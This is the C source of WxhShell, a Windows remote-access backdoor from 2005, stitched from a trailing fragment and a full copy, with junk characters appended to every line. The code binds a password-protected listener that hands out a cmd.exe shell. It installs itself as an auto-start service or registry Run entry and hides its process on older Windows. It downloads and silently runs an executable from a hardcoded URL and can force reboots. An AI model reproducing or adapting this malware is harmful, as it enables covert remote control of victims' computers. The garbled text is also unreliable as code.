    if(Boot(SHUTDOWN)) ;%;||?'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kpxGC,I^*.  
    else { '.k'*=cq0  
    closesocket(wsh); ^b.#4i (v  
    ExitThread(0); m=SI *V  
    } "lSh 4X  
    break; bc3`x1)\^  
    } `evF?t11X  
  // 获取shell &xUD (  
  case 's': { Qqs1%u;e8  
    CmdShell(wsh); h~ZLULW)B  
    closesocket(wsh); wE}Wh5  
    ExitThread(0); W#=,FZT  
    break; W1EYVXN  
  } Nd&UWk^  
  // 退出 XK})?LTD  
  case 'x': { Keem \/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZJ.an%4  
    CloseIt(wsh); IdK<:)Q  
    break; n2EPx(~  
    } Hq!|r8@6  
  // 离开 *ifz@8C }  
  case 'q': { [FLR&=.(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I Zw  
    closesocket(wsh); :q?#$?  
    WSACleanup(); FRQ0t!b<M1  
    exit(1); K6sXw[VC[  
    break; w)`XM  
        } @\o"zU  
  } I2Imb9k~B  
  } Eku  9u  
RB|i<`Z  
  // 提示信息 s^K2,D]P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hidQOh  
} zo8D"  
  } &{UqGD#1&  
r$8'1s37`  
  return; L9lJ4s  
} j[.nk  
!&9(D^  
// shell模块句柄  *} ?  
int CmdShell(SOCKET sock) U7 ?v4O]D[  
{ 8QZI(Xe9r  
STARTUPINFO si; }YVF fi~  
ZeroMemory(&si,sizeof(si)); S0Q LM)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E2d'P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8'%m!  
PROCESS_INFORMATION ProcessInfo; G!;PV^6x  
char cmdline[]="cmd"; S_/S2(V"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cs7ol-\)  
  return 0; X-(4/T+v  
} JO+tY[q  
&T~X`{V]`  
// 自身启动模式  @O koT:  
int StartFromService(void) oLh ,F"nB  
{ 0%dOi ko  
typedef struct Kk6=61}A  
{ 1^^8,.'  
  DWORD ExitStatus; v"W*@7<`S  
  DWORD PebBaseAddress; "~^0  
  DWORD AffinityMask; ir/uHN@  
  DWORD BasePriority; doOuc4  
  ULONG UniqueProcessId; *=.~PR6W{  
  ULONG InheritedFromUniqueProcessId; }Sbk qd5  
}   PROCESS_BASIC_INFORMATION; pCA`OP);=  
-1RMyVx  
PROCNTQSIP NtQueryInformationProcess; #79[Qtkrhm  
N)G HQlgH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .<F46?HS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U/^#nU.,  
7XK0vKmW3  
  HANDLE             hProcess; 8hD[z}  
  PROCESS_BASIC_INFORMATION pbi; e-`.Ht  
tP7<WGHd/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t15{>>f4>  
  if(NULL == hInst ) return 0; 0B7G:X0  
XFvl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L_RVHvA=M/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jr?/wtw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]LUcOR  
tVEe)QX  
  if (!NtQueryInformationProcess) return 0; {0Y6jk>I  
^`'\eEa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  ;Pt8\X  
  if(!hProcess) return 0; gS5MoW1  
Y=O+d\_W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rR-[CT  
O573AA  
  CloseHandle(hProcess); zMFTkDY  
ld@+p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n@RmH>"  
if(hProcess==NULL) return 0; /*T^7Y&  
"TZY)\{L  
HMODULE hMod; "!V`_ S;  
char procName[255]; ]s AuL!  
unsigned long cbNeeded; Z%]K,9K  
G?'^"ae"Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r|u[36NmA  
zR?R,k)m  
  CloseHandle(hProcess); jRU: un4  
6dR+qJa6i  
if(strstr(procName,"services")) return 1; // 以服务启动 N68$b#9Ry  
k`8O/J  
  return 0; // 注册表启动 !SW0iq[7j  
} <@KIDZYC  
<&l$xn  
// 主模块 ~ p? ArZb  
int StartWxhshell(LPSTR lpCmdLine) XNWtX-[ ^@  
{ e^>>" tr  
  SOCKET wsl; ~3?-l/$  
BOOL val=TRUE; V%r`v%ktF  
  int port=0; !q\=e@j-i  
  struct sockaddr_in door; S F*C'  
<v|"eq}  
  if(wscfg.ws_autoins) Install(); 4k<o  
@)6b  
port=atoi(lpCmdLine); ^EX"fRwNi  
@"MYq#2c$  
if(port<=0) port=wscfg.ws_port; M/=36{,w-  
,r w4Lo  
  WSADATA data; k8+J7(_c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hhy+bA}  
id1cZig  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z/ 1$G"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =# Sw.N  
  door.sin_family = AF_INET; at_*Zh(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BqNeY<zB*  
  door.sin_port = htons(port); EVX3uC}{  
k56Qas+3=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?n `m  
closesocket(wsl); ?[Lk]A&"L2  
return 1; K>$f#^  
} !Zj ]0,^  
pY"WW0p"C  
  if(listen(wsl,2) == INVALID_SOCKET) { ls^Z"9P  
closesocket(wsl); `|ie#L(:7/  
return 1; <#C,66k  
} ][$I~ nRf  
  Wxhshell(wsl); 9E2iZt]  
  WSACleanup(); RVatGa0  
3 }fOb  
return 0; 3Tl<ST\  
\9VF)Y.ke  
} u[b |QR=5  
 p@ ^G)x  
// 以NT服务方式启动 ^~YT<cJ1h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wsWFD xR  
{ {=ox1+d  
DWORD   status = 0; SV>tw`2  
  DWORD   specificError = 0xfffffff; =9jK\ T^  
O:wG/et  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <giBL L!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 10FiA;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |:1{B1sqA  
  serviceStatus.dwWin32ExitCode     = 0; .xsfq*3e5  
  serviceStatus.dwServiceSpecificExitCode = 0; 7y'uZAF  
  serviceStatus.dwCheckPoint       = 0; ^<CVQ8R7  
  serviceStatus.dwWaitHint       = 0; `pfIgryns  
7&ED>Bk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }mj9$=B4  
  if (hServiceStatusHandle==0) return; '>"{yi-  
]u|fLK.|  
status = GetLastError(); b5NVQ8Mq  
  if (status!=NO_ERROR) }<04\t?  
{ 'I]XX==_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q Q\j  
    serviceStatus.dwCheckPoint       = 0; ' k,2*.A  
    serviceStatus.dwWaitHint       = 0; l a3B`p  
    serviceStatus.dwWin32ExitCode     = status; )\akIA  
    serviceStatus.dwServiceSpecificExitCode = specificError; R@o&c%K"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  'o-4'  
    return; D@bGJc0  
  } 0B`X056|"|  
*S.U8;*Xj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5?7AzJl>  
  serviceStatus.dwCheckPoint       = 0; Du+W7]yCl  
  serviceStatus.dwWaitHint       = 0; %\m"Yi]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jW'YQrj{<Y  
} SGAzeymw  
vgwpuRL5b  
// 处理NT服务事件,比如:启动、停止 n3a.)tcC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e}UQN:1  
{ RuPnWx!  
switch(fdwControl) .Kb3VNgwvm  
{ 4V JUu`[  
case SERVICE_CONTROL_STOP: 3Z b]@n  
  serviceStatus.dwWin32ExitCode = 0; 4Z)s8sDKW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~ bLx2=-"  
  serviceStatus.dwCheckPoint   = 0; \R#SoOd  
  serviceStatus.dwWaitHint     = 0; +=3=%%?C  
  { 6X \g7bg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W;vNmg}mn  
  } tk"+ u_uw  
  return; nuce(R  
case SERVICE_CONTROL_PAUSE: Fv$tl)p*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gQn%RPMh  
  break; :$WO"HfMSn  
case SERVICE_CONTROL_CONTINUE: yKc-:IBb{u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uR0UfKK  
  break; c7e,lgG-  
case SERVICE_CONTROL_INTERROGATE: {X!OK3e  
  break; AFrJzh:V[  
}; xlI =)ak{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PF%-fbh!~  
} 5C Dk5B_  
[4z,hob  
// 标准应用程序主函数 'R 7 \  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V@ >(xe7  
{ Cr.YSW g)4  
V(7,N(  
// 获取操作系统版本 z#*.9/y\^R  
OsIsNt=GetOsVer(); :"%/u9<A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G|wtl(}3  
2cMC ZuO  
  // 从命令行安装 r_T)| ||v  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3Ua?^2l  
EW `hL~{  
  // 下载执行文件 5n@YNaoIb  
if(wscfg.ws_downexe) { 8dczC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4>KF`?%4  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;*(-8R/  
} 7~7L5PRW  
,Bk5( e  
if(!OsIsNt) { ]~TsmR[  
// 如果时win9x,隐藏进程并且设置为注册表启动 XNz+a|cF  
HideProc(); @>2pY_  
StartWxhshell(lpCmdLine); +9_Y0<C  
} &hOz(825r  
else EQ1**[$  
  if(StartFromService()) ]  ,|,/~  
  // 以服务方式启动 QaWS%0go  
  StartServiceCtrlDispatcher(DispatchTable); =X$ieXq|  
else w~66G  
  // 普通方式启动 $dL..QH^K  
  StartWxhshell(lpCmdLine); y* +y&  
yXJhOCa  
return 0;  W2vL<  
} 9K+> ;`  
2\xw2VQ@P  
Pe,>ny^J1  
lTx_E#^s  
=========================================== Ln+l'&_nb  
wI.aV>  
S=UuEmU5N  
8w0~2-v.?V  
%8'8XDq^8  
EZUaYp ~M  
" ai !u+L  
}icCp)b>v  
#include <stdio.h> '/d51  
#include <string.h> *;<fh,wOk  
#include <windows.h> KWJVc `  
#include <winsock2.h> WTSh#L  
#include <winsvc.h> >xFvfuyC  
#include <urlmon.h> 1NZ"\9=U  
LF dvz0  
#pragma comment (lib, "Ws2_32.lib") L:i&OCU2k  
#pragma comment (lib, "urlmon.lib")  ? wS}'  
:j\7</uu  
#define MAX_USER   100 // 最大客户端连接数 &jqaW 2  
#define BUF_SOCK   200 // sock buffer gQnr.  
#define KEY_BUFF   255 // 输入 buffer 3jx%]S^z|  
t~Q 9} +  
#define REBOOT     0   // 重启 u?^V4 +V  
#define SHUTDOWN   1   // 关机 oRV}Nz7hr  
({uW-%  
#define DEF_PORT   5000 // 监听端口 ]Ry9{:  
NRRJlY S  
#define REG_LEN     16   // 注册表键长度 PgBEe @.  
#define SVC_LEN     80   // NT服务名长度 '.A!IGsj  
8`4M4" lj  
// 从dll定义API DX_ mrG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e(c\U}&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _4S^'FDo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !<[+u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xoj"rR9|  
!>`Q]M`  
// wxhshell配置信息 X~{6$J|]#i  
struct WSCFG { ",#.?vT`  
  int ws_port;         // 监听端口 sx,$W3zI'G  
  char ws_passstr[REG_LEN]; // 口令 "HOZ2_(o  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sn=6[RQ>P  
  char ws_regname[REG_LEN]; // 注册表键名 3smkY  
  char ws_svcname[REG_LEN]; // 服务名 \:vF FK4a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WogUILB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c{q+h V=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }Fe~XO`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;n&95t1$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8_Oeui(i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "j>X^vn  
{R1]tGOf  
}; QoD_`d  
J/1kJ@5  
// default Wxhshell configuration ]H1mj#EWU  
struct WSCFG wscfg={DEF_PORT, #xI g(nG  
    "xuhuanlingzhe", >AJ/!{jD*  
    1, QkrQM&Im  
    "Wxhshell", (Y1*Bs[l  
    "Wxhshell", <A3%1 82  
            "WxhShell Service", bWFa{W5!  
    "Wrsky Windows CmdShell Service", ?ANW I8'_j  
    "Please Input Your Password: ", ~f<'] zXv  
  1, ~k*]Z8Z  
  "http://www.wrsky.com/wxhshell.exe", 2yN!yIPR  
  "Wxhshell.exe" ]ch=@IV  
    }; "x,lL  
.$U,bE  
// 消息定义模块 QV|6"4\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JPI%{@Qc^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DV5hTw0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q'<AV1<  
char *msg_ws_ext="\n\rExit."; .S` q2C\  
char *msg_ws_end="\n\rQuit."; :V/".K-:J  
char *msg_ws_boot="\n\rReboot..."; }">r0v!3  
char *msg_ws_poff="\n\rShutdown..."; Ycr3$n]e  
char *msg_ws_down="\n\rSave to "; V U3RFl  
~&?([}A  
char *msg_ws_err="\n\rErr!"; \@Wv{0a(  
char *msg_ws_ok="\n\rOK!"; >S5J^c  
pW]j.JM  
char ExeFile[MAX_PATH]; WjV Bz   
int nUser = 0; JVAyiNIH>M  
HANDLE handles[MAX_USER]; +M j 6.X  
int OsIsNt; ;lMvxt:  
@-@Coy 4Tt  
SERVICE_STATUS       serviceStatus; t3L>@NWG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /~LE1^1&U  
oO2DPcK  
// 函数声明 -H?c4? 5  
int Install(void); AR| 4^  
int Uninstall(void); 91R# /i  
int DownloadFile(char *sURL, SOCKET wsh); h.<f%&)F  
int Boot(int flag); d`sZ"8}j  
void HideProc(void); vC]X>P5Px  
int GetOsVer(void); "Q:Gd6?h;  
int Wxhshell(SOCKET wsl); x^ s,<G  
void TalkWithClient(void *cs); f;E#CjlTL  
int CmdShell(SOCKET sock); +d, ~h_7!  
int StartFromService(void); ,,H5zmgA  
int StartWxhshell(LPSTR lpCmdLine); VDxm|7  
EX)&|2w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ez1eGPVr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9< mMU:  
geQ!}zXWi  
// 数据结构和表定义 l*ltS(?  
SERVICE_TABLE_ENTRY DispatchTable[] = ,TBOEu."4  
{ _zj^k$ j  
{wscfg.ws_svcname, NTServiceMain}, ((M,6Q}  
{NULL, NULL} b(K"CL\p  
}; A mZXUb  
!W}sOK7#  
// 自我安装 &h:4TaD  
int Install(void) Bii'^^I;?  
{ !vz'zy)7  
  char svExeFile[MAX_PATH]; EjP;P}_iK  
  HKEY key; ^".OMS"!  
  strcpy(svExeFile,ExeFile); m?S;s ew@5  
rm-d),Zt  
// 如果是win9x系统,修改注册表设为自启动 V]zZb-m=  
if(!OsIsNt) { XYU5.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZ`cE5"i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E%w^q9C  
  RegCloseKey(key); k_pv6YrE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZU 3Psj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <H-Nft>O  
  RegCloseKey(key); kpgvAKyx  
  return 0; QE]'Dc%  
    } Ts!'>_<Je  
  } 4[lFur H  
} !2t7s96  
else {  ~,lt^@a  
')jItje|  
// 如果是NT以上系统,安装为系统服务 '| H+5#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :1+Aj (  
if (schSCManager!=0) @.;+WQE  
{ ItVN,sVJb  
  SC_HANDLE schService = CreateService mSYjc)z  
  ( VMah3T!  
  schSCManager, %lCZ7z2o  
  wscfg.ws_svcname, 7}iv+rQ  
  wscfg.ws_svcdisp, J;& y?%{@5  
  SERVICE_ALL_ACCESS, ::Zo` vP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [Uup5+MCv  
  SERVICE_AUTO_START, EL,k z8  
  SERVICE_ERROR_NORMAL, H(y`[B,}*  
  svExeFile, \%7*@&  
  NULL, /,G `V  
  NULL, '!m6^*m|c  
  NULL, xpdpD  
  NULL, 8lQ}-8  
  NULL MCN>3/81  
  ); 217G[YE-  
  if (schService!=0) =j>xu|q  
  { x80IS:TP  
  CloseServiceHandle(schService); %+*=Vr  
  CloseServiceHandle(schSCManager); 1Vpti4OmU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rC8p!e.yL  
  strcat(svExeFile,wscfg.ws_svcname); &nEL}GM)E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fRS;6Jc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # xtH6\X  
  RegCloseKey(key); xmg3,bO  
  return 0; eiK_JPFA-  
    } b 3x|Dq.  
  } ^hLr9k   
  CloseServiceHandle(schSCManager); oSCaP,P  
} Sa g)}6+  
} v3r3$(Hr  
?V6,>e_+  
return 1; `n&:\Ib  
} zQ,rw[C"W  
ImN'o4vo  
// 自我卸载 /8GdCac  
int Uninstall(void) /1OCK=  
{ c~<;}ve^z  
  HKEY key; D4VDWv  
y_m+&Oe  
if(!OsIsNt) { HzTmNm)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,AnD%#o  
  RegDeleteValue(key,wscfg.ws_regname); w/|&N>ZOx  
  RegCloseKey(key); K6DN>0sY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Zq hyv=  
  RegDeleteValue(key,wscfg.ws_regname); %]+R>+  
  RegCloseKey(key); "3RFy i  
  return 0; 6ll!7U(9(  
  } VWft/2p~  
} 8}|et~7!  
} f~VlCdf+  
else { -8l<5g7  
Qx)b4~F?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *(9Tl]w  
if (schSCManager!=0) W,4!"*+  
{ vT?^#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NY7yk3  
  if (schService!=0) +d3|Up8=  
  { NzgG7 7>  
  if(DeleteService(schService)!=0) { Z"8lW+r *  
  CloseServiceHandle(schService); {lf{0c$X.  
  CloseServiceHandle(schSCManager); >~o- 6g  
  return 0; GK$[!{w;  
  } [xqV`(vM  
  CloseServiceHandle(schService); 6?a`'&  
  } l*l*5hA  
  CloseServiceHandle(schSCManager); `nF SJlr&  
} 7ws<' d7/  
} a{`hAI${  
UF+Qx/4h0  
return 1; 2>o[  
} ZDW9H6ux  
i<Z%  
// 从指定url下载文件 M@ U >@x;  
int DownloadFile(char *sURL, SOCKET wsh) OjGI !  
{ :8`A  
  HRESULT hr; %#2$B+  
char seps[]= "/"; 03~ ADj  
char *token; RqA>"[L  
char *file; JLu$1A@ '  
char myURL[MAX_PATH]; rqjq}L)  
char myFILE[MAX_PATH]; ~P|;Y<?3  
?~o`mg  
strcpy(myURL,sURL); #*g=F4>t  
  token=strtok(myURL,seps); j4/[Z'5ny  
  while(token!=NULL) s!IIvF  
  { ^MpMqm1?8;  
    file=token; 0GUJc}fgvN  
  token=strtok(NULL,seps); 1GYZ1iA  
  } Yc7 YNC.  
G'JHimP2j  
GetCurrentDirectory(MAX_PATH,myFILE); 6ld4'oM  
strcat(myFILE, "\\"); ">[#Ops-;$  
strcat(myFILE, file); ji?Hw  
  send(wsh,myFILE,strlen(myFILE),0); %n|  
send(wsh,"...",3,0); :9hGL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (4FVemgy  
  if(hr==S_OK) PK+sGV  
return 0; }5+^  
else H~FI@Cf$L  
return 1; 3X gJZ  
Ksx-Y"  
} S>oEk3zlw  
QoYEWXT|g  
// 系统电源模块 pA!-spgX  
int Boot(int flag) RRja{*R  
{ e\6H.9=  
  HANDLE hToken; ^*AI19w!Ys  
  TOKEN_PRIVILEGES tkp; S)U*1t7[  
|.)LZP,  
  if(OsIsNt) { :qE.(k1@5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z|>TkCW6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9'*7 ( j;  
    tkp.PrivilegeCount = 1; >M#@vIo?<6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iM!2m$'s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &qbEF3p^@  
if(flag==REBOOT) { |S!R Q-CF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f\2IKpF2  
  return 0; 4kL6aSqT  
} 'ma X  
else { %RD\Sb4YV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BHr,jC  
  return 0; \WiCI:  
} vm@V5oH  
  } ) ^ En  
  else { M86"J:\u]  
if(flag==REBOOT) { p)SW(pS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rn-bfzoDS  
  return 0; NO~G4PUM0C  
} ~9]vd|  
else { TdPd8ig8{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "}3sL#|z  
  return 0; !Q>xVlPVu  
} { { \oC$  
} $UzSPhv[  
KPToyCyR1  
return 1; A}lxJ5h0  
} % mQ&pk  
@ZISv'F  
// win9x进程隐藏模块 )+L|<6JXA  
void HideProc(void)  Gsh9D  
{ 3S3 a|_+%  
+<Gp >c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MnD}i&k[  
  if ( hKernel != NULL ) 5'set?  
  { |&4A"2QN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7L #)yY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {YiMd oMhg  
    FreeLibrary(hKernel); jj`#;Y  
  } Ovx *  
li[[AAWVm  
return; p<r^{y  
} ^t3>Z|DiB^  
k@7#8(3  
// 获取操作系统版本 w>B}w  
int GetOsVer(void) |Y Lja87  
{ wS=vm}}u  
  OSVERSIONINFO winfo; Gor 9 &aJ1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J=-z~\f56  
  GetVersionEx(&winfo); ;87PP7~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dy+A$)gY<  
  return 1; {]6-,/3UR  
  else )Ra:s>  
  return 0; eQi^d/yi  
} !\#Wq{p>W*  
K^!#;,0  
// 客户端句柄模块 $]LS!@ Rm  
int Wxhshell(SOCKET wsl) V< F &\  
{ Zv}F?4T~:  
  SOCKET wsh; brTNwRze  
  struct sockaddr_in client; "" UyfC[  
  DWORD myID; K#k/t"r  
-. *E<%  
  while(nUser<MAX_USER) }aOqoi7w  
{ 8Ay7I  
  int nSize=sizeof(client); 8(Az/@=n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~ g!!#ad  
  if(wsh==INVALID_SOCKET) return 1; p*PzfSLN  
,6]ID1o:y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YH58p&up  
if(handles[nUser]==0) = 9Yf o,F  
  closesocket(wsh); fuj9x;8X0  
else L-- t(G  
  nUser++; wa,`BAKJ+F  
  } *w;?&)8%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S }`f&  
f2c <-}wR  
  return 0; K1X-<5]{  
} Y-})/zFc  
X QLP|v;"  
// 关闭 socket .iV=ybMT  
void CloseIt(SOCKET wsh) -o~zb-E  
{ o1#3A  
closesocket(wsh); #)}BY"C%  
nUser--; |"K%Tvxe  
ExitThread(0); Do(G;D`h+_  
} ,~cK]!:>s  
6Mk#) ebM  
// 客户端请求句柄 Pt85q?->  
void TalkWithClient(void *cs) IiniaVuQ  
{ <%.%q  
te[uAJ1 N  
  SOCKET wsh=(SOCKET)cs; O^\:J 2I(  
  char pwd[SVC_LEN]; cS Lj\'`b  
  char cmd[KEY_BUFF]; U~=?I)Ni  
char chr[1]; (ORbhjl  
int i,j; ?8$`GyjS  
 @N '_qu  
  while (nUser < MAX_USER) { I._ A  
}eSy]r[J  
if(wscfg.ws_passstr) { =( ZOn=IL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 346 z`5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "yH?df24  
  //ZeroMemory(pwd,KEY_BUFF); *Z"cXg^ti  
      i=0; 274j7Y'  
  while(i<SVC_LEN) { =ttD5 p  
Re~6 '  
  // 设置超时 ^nZ=B>Yn2  
  fd_set FdRead; nY MtK  
  struct timeval TimeOut; WCd: (8B  
  FD_ZERO(&FdRead); F~=kMQO  
  FD_SET(wsh,&FdRead); D)G oWt  
  TimeOut.tv_sec=8; GTB\95j]  
  TimeOut.tv_usec=0; }],l m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  gwIR3u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,62~u'hR5  
e,#w* |  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;S^"Y:7)  
  pwd=chr[0]; \ o2oQ3  
  if(chr[0]==0xd || chr[0]==0xa) { [<i3l'V/[  
  pwd=0; 5 `TMqrk  
  break; M>=@Z*u/+  
  } ~I N g9|  
  i++; :kcqf,7  
    } &(<>} r  
<`-sS]=d}  
  // 如果是非法用户,关闭 socket l'<&H#A;'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PO5,lcBD<  
} #O_%!7M{4  
pGU .+[|(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UQkd$w<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r1q'+i  
Ib{#dhV  
while(1) { 8Mtd}{Fw*  
%_n%-Qn  
  ZeroMemory(cmd,KEY_BUFF); ?`OF n F,K  
+D @B eQu  
      // 自动支持客户端 telnet标准   w)J-e gc  
  j=0; < - sr&  
  while(j<KEY_BUFF) { Zl%)#=kO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V %[t'uh  
  cmd[j]=chr[0]; fqbWD)L]  
  if(chr[0]==0xa || chr[0]==0xd) { 0X99D2c  
  cmd[j]=0; /Q9Cvj)"  
  break; 6t!=k6`1  
  } _=x*yDPG}  
  j++;  ]LsT  
    } q/w5Dx|:  
`dF~'  
  // 下载文件 bkR~>F]FAu  
  if(strstr(cmd,"http://")) { 0-OKbw5%=b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QpzdlB44l  
  if(DownloadFile(cmd,wsh)) <gX({FA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A/9<} m  
  else Q7pCF,;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C!547(l[  
  } C:&Sk\   
  else { wGMoh.GTh  
>~7XBb08  
